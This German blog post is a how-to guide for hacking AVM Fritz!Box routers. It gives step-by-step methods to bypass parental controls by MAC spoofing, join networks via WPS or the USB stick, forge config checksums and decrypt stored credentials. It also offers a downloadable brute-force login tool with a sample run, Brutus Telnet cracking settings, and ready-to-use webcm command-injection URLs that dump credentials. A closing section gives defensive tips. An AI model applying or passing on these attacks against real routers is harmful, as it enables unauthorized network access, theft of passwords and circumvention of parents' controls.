Inhalt

 


Menü Ausschalten

MEngelke.de / Blog / Fritzbox Hacken

Gossip Box

Suchen Drucken eMail 

Fritzbox Hacken

Ständig bekomme ich anfragen wie man die Fritz!Box hacken kann. Ich habe nun ein paar Hacks herausgesucht, die unter bestimmten bedingen zum Erfolg führen können. (Alles auf eigene Gefahr!)
Dieser Eintrag wird in Zukunft noch erweitert oder entsprechend aktualisiert, wenn sich was geändert haben sollte...

Firmware Infos

Der vermutlich einfachste Trick ist, wie man die installierte Firmware heraus bekommt. Allerdings muss man Zugang zum Fritz!Box-Netzwerk haben. Im LAN/WLAN kann man mit http://fritz.box/cgi-bin/system_status die Fritz!Box Bezeichnung und ein paar Daten auslesen. (Es darf nur nicht der Gast-Zugang sein!)

 

Über die Fernwartung war es ab OS 05.50 bis OS 06.03 ebenfalls möglich diese Daten auszulesen: https://<domainname.myfritz.net>:443//cgi-bin/system_status

 

Dieser Versions-String setzt sich aus folgenden Daten zusammen: Modell, Annex, Laufzeit, Neustarts, Hashcode, Status, Firmware, Sub-Version und Branding:
FRITZ!Box Fon WLAN 7390-B-010203-040506-000000-000000-147902-840522-22574-avm

 

Kleines Javascript um den Supportcode zu decodieren:

 

Bei den neueren Boxen gibt es einen weiteren Link, wo man die Firmware-Version auslesen kann: http://fritz.box/jason_boxinfo.xml und man konnte auch diesen ab OS 05.50 bis OS 06.03 mit aktivierter Fernwartung aus der Fritz!Box auslesen: https://<domainname.myfritz.net>:443//jason_boxinfo.xml

Fritz!WLAN Stick

Hat man Physischen Zugang zur Fritz!Box und ist die standardmäßige aktivierte Option "AVM Stick & Surf" aktiviert, dann braucht man nur ein AVM Fritz!WLAN Stick in den USB-Port der Fritz!Box einstecken und schon hat man per WLAN Zugang zum Fritz!Box-Netzwerk! Ist keine Kindersicherung aktiviert, hat man auch Zugang zum Internet.

Wi-Fi Protected Setup

Ähnlich wie mit Fritz!WLAN Stick kann man auch mit sein Laptop/Smartphone Zugang zum WLAN verschaffen: (Voraussetzung ist dass in der Fritz!Box bei den WLAN-Sicherheitseinstellungen WPS aktiviert ist) Einfach den WLAN-Knopf ca. 6 Sekunden lang drücken und man hat zwei Minuten Zeit sich per WLAN in das Fritz!Box-Netzwerk zu verbinden. Ist keine Kindersicherung aktiviert, hat man auch Zugang zum Internet.

Kindersicherung umgehen

Netzwerkadresse ändern
Netzwerkadresse ändern

Wenn man Zugang zum Fritz!Box-Netzwerk hat, kann der weg ins Internet an der Kindersicherung scheitern. So lange man nicht im Gastnetzwerk ist, kann man sich mit etwas Glück daran vorbei mogeln: Dazu braucht man die MAC-Adresse von demjenigen, der problemlos durch den Filter hindurch kommt. Dazu muss man entweder die Lokale IP-Adresse des Rechners kennen und den Rechner mindestens einmal "angepingt" haben (z.B. ping 192.168.178.20) oder man greift über die Netzwerkumgebung auf dem Rechner zu. Wichtig ist dass der eigene Rechner mindestens einmal direkt mit dem Rechner kommuniziert hat. Nun gibt man in der Eingabeaufforderung arp -a ein und man bekommt zu allen Rechnern die lokalen IP-Adressen und MAC-Adressen, mit dem der eigene Rechner kommuniziert hatte. Nun Öffnet man den "Netzwerk und Freigabecenter" um die Adaptereinstellungen zu ändern. In der Ansicht der Netzwerkverbindungen sucht man sich den richtigen Netzwerkadapter heraus, mit dem man an der Fritz!Box verbunden ist. ( WICHTIG dabei ist: Die Art des Netzwerk-Adapters muss gleich bleiben! d.H. WLAN-Adapter können nicht mit LAN-Adapter geclont werden und umgekehrt!) Dann auf Eigenschaften / Konfigurieren / Erweitert / Netzwerkadresse! Nun kann man hier die Mac-Adresse ändern. Eventuell muss man die 6 zweistelligen Werte ohne "-" oder ":" eintragen. Nachdem man alle Fenster mit "OK" bestätigt hat, hat der Netzwerk-Adapter die neue MAC-Adresse und ist Netzwerk-Technisch nicht mehr vom anderen Rechner unterscheidbar. WICHTIG ist: Beide Rechner können NICHT gleichzeitig mit dem selben Netzwerk verbunden sein, da sie die selbe IP-Adresse zugewiesen bekommen.
Wem das zu kompliziert war, der googelt einfach mal nach: "fritzbox kindersicherung umgehen".

Konfig-Datei Manipulieren

Wenn man die Einstellungen der Fritz!Box exportiert, kann man diese Manipulieren. Dazu benötigt man ein Unix-Tauglichen Editor wie Notepad2 oder Notepad++. Alle Einstellungen kann nun nach Herzenslust manipulieren. Vor dem Import hat man zwei Möglichkeiten, damit die Manipulierte Datei von der Fritz!Box akzeptiert wird:

  • Man trägt bis OS 06.03 noch "NoCheck=yes" im oberen Bereich der Export-Datei ein. (Ab besten zwischen Oem und Country mit dem Nachteil, dass es einen Dauerhaften Hinweis gibt, dass die Fritz!Box manipuliert wurde).
  • Man berechnet die Checksumme ganz am Ende der Konfig-Datei neu, damit die Fritz!Box die Manipulation nicht erkennen kann. (Dazu gibt es von mir drei Tools: fb_calcsum.vbs, fb_tools.php und FritzBoxJSTool)

Wenn die veränderten Einstellungen keinen Sinn ergeben, wird die Fritz!Box wieder in den Werkeinstellungen zurückgesetzt. Bei Kabelboxen wie z.B. die Fritz!Box 6360 und ganz aktuellen Firmware-Versionen funktionieren NUR noch die Methode mit der Berechnung der Checksumme, da Manipulationen generell nicht mehr erlaubt sind.

Zugangsdaten auslesen

Hat man eine Fritz!Box mit OS 06.30 oder neuer kann man die Zugangsdaten mit dem PHP-Script Fritz!Box Tools in Klartext OHNE Telnet auslesen. (Dazu ist ebenfalls das Anmeldekennwort erforderlich)
In der Konsole gibt man nach der Installation von Fritz!Box Tools folgendes ein:
fb_tools <kennwort>@fritz.box konfig export-decrypt -d oder aus anderen Fritz!Boxen:
fb_tools <kennwort>@fritz.box konfig file-decrypt [Konfig-Datei] [Konfig-Kennwort] -d
Wenn es geklappt hat, bekommt man die wichtigsten Zugangsdaten mit den Passwörtern in Klartext angezeigt.

Anmeldekennwort Hacken (Über die Fernwartung)

In aktuellen Fritz!Boxen ist es mit einigen Einschränkungen immer noch möglich das vergessene Anmeldekennwort mit vielen Versuchen durchzuprobieren. Dazu sind folgene Voraussetzungen notwendig:

  • Die Box sollte die eigene sein, sonst könnte man Probleme bekommen (Ich gehe später näher darauf ein)
  • Die Fernwartung muss aktiviert und eingerichtet sein
  • Man muss den berechtigten Benutzer kennen (Eine Liste Möglicher Benutzer bekommt man mit http://fritz.box)
  • Ebenfalls muss man den Domainnamen (z.B. die MyFRITZ-Adresse) oder die Externe IP-Adresse, sowie die Portnummer kennen mit der die Oberfläche im Internet erreichbar ist
HTTP Auth Digest Anmeldung
HTTP Auth Digest Anmeldung

Sind alle Voraussetzungen erfüllt, kann man im Webbrowser den ersten Test machen:
https://<domain oder ip>:<port>/jason_boxinfo.xml
Wenn Sie nun ein HTTP-Auth-Digest Anmeldefenster sehen, könnte man Theoretisch loslegen, einige Zugangsdaten auszuprobieren. Nun ist aber AVM nicht dumm und hat nach ca. 3 Fehlversuchen ein Timeout eingebaut, der zwischen 10 Sekunden und maximal 130 Sekunden liegt. Dabei kommt eine IP-Sperre zu einsatz, die man Theoretisch mit vielen Proxies teilweise umgehen kann. Da ich nicht daran Interessiert bin, hier Anleitungen für Professionelle Hacking-Tools wie Nmap, Medusa oder Hydra zu schreiben, habe ich als Proof_of_Concept ein HTTP-Auth-Digest Anmelde-Tool, in PHP (mit cURL) um eine Wörterbuch-Funktion erweitert.
Download: authtest.7z (exe) - 2.7 KB ohne PHP

  • Windows
    Zuerst PHP für Windows herunterladen und entpacken (Alle aktuellen Versionen brauchen noch zusätzlich Visual C++ Redistributable for Visual Studio). Anschließend muss nur noch authtest.bat in das PHP-Verzeichnis kopiert werden und kann dann von der Konsole aus gestartet werden: authtest.bat
  • Linux (bezug auf Ubuntu_16.04_LTS)
    Zuerst muss PHP installiert werden: in der Konsole gibt man dazu folgenes ein:
    sudo apt-get install php-cli php-xml php-curl anschließend muss authtest.php mit
    chmod +x authtest.php ausführbar gemacht werden. Und kann anschließend von der Konsole aus gestartet werden: ./authtest.php
  • MacOS (Getestet mit MacOS 10.6)
    PHP gehört schon zu den Boardmitteln, daher muss nur noch authtest.php mit
    chmod +x authtest.php ausführbar gemacht werden. Und kann dann ebenfalls in der Konsole aus gestartet werden: ./authtest.php
# Häufig genutzte Kennwörter
123456
12345678
password
administrator
admin
# Häufige Vornamen
michael
daniel
thomas
jennifer
ashley
jessica
# Kombination des Aktenkoffers
12345

Für die Wörterbuch-Funktion benötigt man eine Textdatei mit Potenziellen Kennwörtern. Da die Fritz!Box ein Timeout von bis zu 130 Sekunden hat, sind die teilweise sehr großen Kennwortlisten aus dem Internet nur wenig sinnvoll. Ich Empfehle eine eigene zu erstellen, die als Textdatei mit den Endung .txt gespeichert werden sollte.
Es wird dringendst Empfohlen die Datei NICHT unverschlüsselt auf die Festplatte zu speichern. Ich Empfehle dazu TrueCrypt oder VeraCrypt.

 

Hat man alles installiert und sich eine Kennwortdatei erstellt, dann gibt man in der Konsole folgendes ein: (Die spitzen Klammern <...> sind Platzhalter)

cd <verzeichnis>
authtest.bat url:https://<domain oder ip>:<port>/jason_boxinfo.xml user:<benutzername> pass:<dateiname>
 

Hier ein Beispiel aus der Praxis:

cd \Users\skroob\Desktop
C:\Users\Skroob\Desktop>authtest.bat url:https://home.mengelke.de:443/jason_boxinfo.xml user:skroob pass:passwords.txt
1x usernames and 12x passwords -> 12 trys
Url: https://home.mengelke.de:443/jason_boxinfo.xml
Try skroob | 123456 ,-
Try skroob | 12345678 -
Try skroob | password -
Try skroob | administrator -
Try skroob | admin .,-
Try skroob | michael -
Try skroob | daniel -
Try skroob | thomas ..,-
Try skroob | jennifer -
Try skroob | ashley -
Try skroob | jessica ...,-
Try skroob | 12345 !

Username: skroob | Password: 12345

C:\Users\Skroob\Desktop
 

Auch wenn man über diese Methode Theoretisch fremde Fritz!Box angreifen könnte, kann ich nur davon Abraten dies zu tun. Die Fritz!Box bekommt diese Angriffe mit und speichert diese in den Ereignissen mit Datum, Uhrzeit, Benutzername und die IP-Adresse.

28.08.16 23:44:40 Anmeldung des Benutzers Skroob an der FRITZ!Box Benutzeroberfläche von IP-Adresse 2001:db8::608:15ff:fe16:2342.
28.08.16 23:44:40 Anmeldung des Benutzers skroob an der FRITZ!Box Benutzeroberfläche von IP-Adresse 2001:db8::608:15ff:fe16:2342 gescheitert (falsches Kennwort). [11 Meldungen seit 28.08.16 23:42:23]
 

Sollte man als Administrator einer Fritz!Box bemerken, dass ein fremder versucht das Anmeldekennwort zu hacken, dann muss man eigentlich nur die Fernwartung deaktivieren. Sollte das keine Option sein, ändert man einfach den Port, mit die Fritz!Box im Internet erreichbar ist. Zusätzlich kann neues Kennwort niemals schaden.
Kommt der böse Angreifer aus dem eigenen Haus (Kinder oder Mitbewohner), dann verbannt man die einfach ins das Gast-Netzwerk. Die Fritz!Box-Oberfläche ist im Gastnetzwerk nicht zu erreichen und den Fernwartungs-Port kann man im Gastnetzwerk sperren.


Ältere Hacks, die nicht auf aktuellen Modellen Funktionieren!

Zugangsdaten auslesen (Mit Telnet bis OS 06.03)

Telnet login mit Putty
Telnet login mit Putty

Wenn man das Anmeldekennwort kennt, konnte man bis OS 06.03 die Zugangsdaten mit Telnet auslesen. Dazu muss man sich per Telnet einloggen und etwas Linux-Kenntnisse mitbringen. (Telnet aktiviert man am Telefon mit #96*7* und als Telnet-Client bietet sich Putty an.) Nach dem wir uns mit ein Telnet-Client an fritz.box angemeldet haben, bekommen wir die aktuelle TTY-Schnittstelle angezeigt, die wir für die Ausgabe brauchen werden. (Meistens ist das /dev/pts/0)
Die Befehle die uns weiterhelfen heißen: allcfgconv, usbcfgconv und wlancfgconv:

Ausgabe auf die Console:

Ausgabe auf dem Internen Speicher:

allcfgconv -o /dev/pts/0 -c -C ar7
allcfgconv -o /dev/pts/0 -c -C voip
allcfgconv -o /dev/pts/0 -c -C vpn
usbcfgconv -o /dev/pts/0 -c
wlancfgconv -o /dev/pts/0 -c
cd /var/InternerSpeicher
allcfgconv -o ar7.cfg -c -C ar7
allcfgconv -o voip.cfg -c -C voip
allcfgconv -o vpn.cfg -c -C vpn
usbcfgconv -o usb.cfg -c
wlancfgconv -o wlan.cfg -c

(Zu erreichen mit http://fritz.nas ab Fritz!Box 32xx oder 72xx)

Auf jeden Fall sollte man vorsichtig sein, da man mit Telnet den Kompletten Router lahmlegen kann.

Gossipbox Hack (bis OS 05.05)

Ist die Firmware in etwa zwischen xx.04.76 und xx.05.05 können die WLAN Zugangsdaten einfach von der Anmeldeseite ausgelesen werden. Dazu muss man Zugang zum Fritz!Box-Netzwerk haben. Weitere Beschreibungen für und gegen den Angriff finden sie in meinen Blog-Eintrag: GossipBox!

Media-Server Hack (bis OS 05.21)

Ähnlich wie bei dem GossipBox-Hack kann man auch per UPnP Konfigurationsfragmente bis Firmware xx.05.21 auslesen. Wie Heise-Netze darüber berichtet hatte, muss man für den Angriff den genauen Pfad der Konfigurationsdateien kennen und zugriff zum Fritz!Box-Netzwerk haben. Zwei davon habe ich mal herausgesucht:

Anmeldekennwort Hacken (bis OS 06.03)

Einstellung für Brutus (Nur Kennwort)
Einstellung für Brutus (Nur Kennwort-Modus)

Zuerst die schlechte Nachricht: Das Anmeldekennwort kann man NICHT auslesen oder sonst wie ermitteln, OHNE das Anmeldekennwort zu kennen!
Und nun die gute Nachricht: Es gibt bis OS 06.03 eine kleine Hintertür, mit der man mit Zeitaufwand doch zum Anmeldekennwort kommen kann.
Der Trick basiert auf "Login über Telnet" und umgeht damit das Timeout auf der Weboberfläche. Zuerst muss Telnet in der Fritz!Box über das Telefon mit #96*7* aktiviert werden. Wenn Telnet aktiviert ist, kann man sich theoretisch mit ein Telnet-Client wie Putty verbinden. Da wir das Kennwort nicht kennen, brauchen wir ein Hacker-Tool wie Brutus. Zuerst stellen wir als Ziel: "fritz.box" und Typ: "Telnet" ein.

Einstellung für Brutus (Benutzeranmeldung)
Einstellung für Brutus (Benutzeranmeldung)

Ab Fritz!OS 5.50 müssen die Verbindungen auf maximal 4 reduziert werden und das Timeout auf Mindestens 30 Sekunden hoch gesetzt werden. (Bei älteren Fritz!Boxen kann die Einstellungen so belassen!)
Ist die Fritz!Box nur mit einen Anmeldekennwort geschützt, dann muss in den Optionen die User-ID ausgeschaltet werden. Andernfalls lassen wir es an und tragen zusätzlich in der UserID-abfrage "user" ein.
Für die Fehllogins in den Optionen tragen wir: "failed" ein. (Links im Bild kann alle Einstellungen für Benutzername und Kennwort sehen und Rechts die Einstellungen für nur ein Kennwort sehen) Nun kann man es sich aussuchen ob nach Wörterbuch oder durch Ausprobieren gehackt werden soll. Ich empfehle beides in der Reihenfolge! (Wobei ab Fritz!OS 5.50 die Brute-Force-Methode einige Monate bis Jahre dauern wird) Für Brute-Force sollte man zusätzliche Einstellungen zum möglichen Kennwort vornehmen, da genauere angaben, die Hackzeit erheblich verkürzen können. (Besonders was die Kennwortlänge angeht! Erlaubt sind alle ASCII-Zeichen zwischen 32 bis 126!) Hat man alles eingestellt, braucht man nur noch auf Start klicken und den Rechner am besten für die nächsten Stunden/Tage/Wochen in ruhe Arbeiten lassen. Sollte man sich erfolgreich über Telnet angemeldet haben, erscheint in Zukunft, in der Übersichtseite von der Fritz!Box die Meldung: "Vom Hersteller nicht unterstützte Änderungen: Weitere Informationen"! Das liegt daran, dass AVM es nicht gerne sieht, wenn man mit Telnet in der Fritz!Box herumspielt. Die Meldung bekommt per Telnet mit dem Befehl: "echo clear_id 87 > /proc/tffs" wieder weg!

Shell-Befehle direkt ausführen (bis OS 06.01)

Die Lücke mit der man Befehle mit Root-Rechten ausführen kann, ist erst Anfang 2014 bekannt geworden, nachdem Hacker Telefonrechnungen in die Höhe getrieben haben. Tatsächlich schlummert die Lücke seit etwa Sommer 2009 in fast allen Fritz!Boxen. (Von Fritz!OS 04.67 bis OS 06.01)
Die Lücke steckt im CGI-Modul "webcm". Die dient als Schnittelle zwischen Betriebssystem und Webinterface. Leider wurden die Parameter nicht ausreichend überprüft, sodass es Möglich war, Shell-Befehle per Huckepack mitzuschicken. Das schlimme und gefährliche an der Lücke war, dass die auch von Außen erreichbar war. Entweder über die Fernwartung per Port 443 oder wie Heise.de heraus gefunden hat, über Cross-Site-Request-Forgery
echo "\n\nHello World" Mit https://<domainname.myfritz.net>:443/cgi-bin/webcm?var:lang=%26echo+%22%0A%0AHello+World%21%22 wird "Hello World!" ausgegeben. Der Parameter var:lang wird mit ein & oder ; abgeschlossen und der anschließender Befehl wird einfach ohne weitere Hürden ausgeführt. (Mit \n\n wird nur sichergestellt, dass die Ausgabe nicht im HTTP-Header erfolgt)
allcfgconv -o /var/tmp/leak.txt -c -C ar7;
echo "\n\n";
cat /var/tmp/leak.txt
Mit https://<domainname.myfritz.net>:443/cgi-bin/webcm?var:lang=%3Ballcfgconv+-o+/var/tmp/leak.txt+-c+-C+ar7%3Becho+%22%0A%0A%22%3Bcat+/var/tmp/leak.txt kann man ein Teil der Zugangsdaten auslesen. (Wer alles auslesen möchte, sollte ein Blick auf Zugangsdaten auslesen werfen)
Theoretisch kann man alles über diese Lücke auslesen, was in der Fritz!Box gespeichert ist UND Malware in der Fritz!Box zur Ausführung bringen! Für alle Betroffene Modelle wurden Updates bereit gestellt.

Sicherheitsmaßnahmen

Um alle Angriffe abzuwehren muss man nicht viel beachten:

  • Zum Router:
    • Das Modell sollte nicht älter sein als 5 Jahre
    • Nach Möglichkeit in einen verschlossen Raum/Schrank betreiben
    • IMMER die aktuelle Firmware installieren und regelmäßig auf Updates prüfen (Ab OS 06.05 sind keine Manipulationen erlaubt)
    • Nur vertrauenswürdige Personen Zugang zur Konfiguration erlauben
  • Kennwort-Regeln:
    • IMMER die maximale Länge ausnutzen (Lange Kennwörter sind sicherer als kurze Kennwörter mit Sonderzeichen)
    • Regelmäßig ändern (Mit Brute-Force kann man jedes Kennwort früher oder später knacken)
    • Keine Namen oder Begriffe verwenden, die man in einem Wörterbuch finden kann
  • Weitere Tipps:
    • Alles deaktivieren was man nicht braucht (z.B. MyFRITZ, Freigaben, "AVM Stick & Surf", WPS oder UPnP)
    • Alle Ereignisse der Fritz!Box regelmäßig überwachen (z.B. mit Push-Mail)
    • Bei freigegebenen Ports, IMMER die Standard-Port meiden und 5-Stellige Ports (10000-65535) benutzen
    • Verbinden Sie sich nach Möglichkeit immer über das Gastnetzwerk mit dem Internet. (Damit können Trojaner/Viren nicht die Fritz!Box übernehmen)

Kategorie: AVM, Fritz!Box, Hack

Erstellt: 06.08.2012 - Zuletzt geändert: 21.11.2016


 << Amiga | Home | Family >> << Gute Vorsätze auch bei Oracle | MEngelke Blog | Hacker Attack >>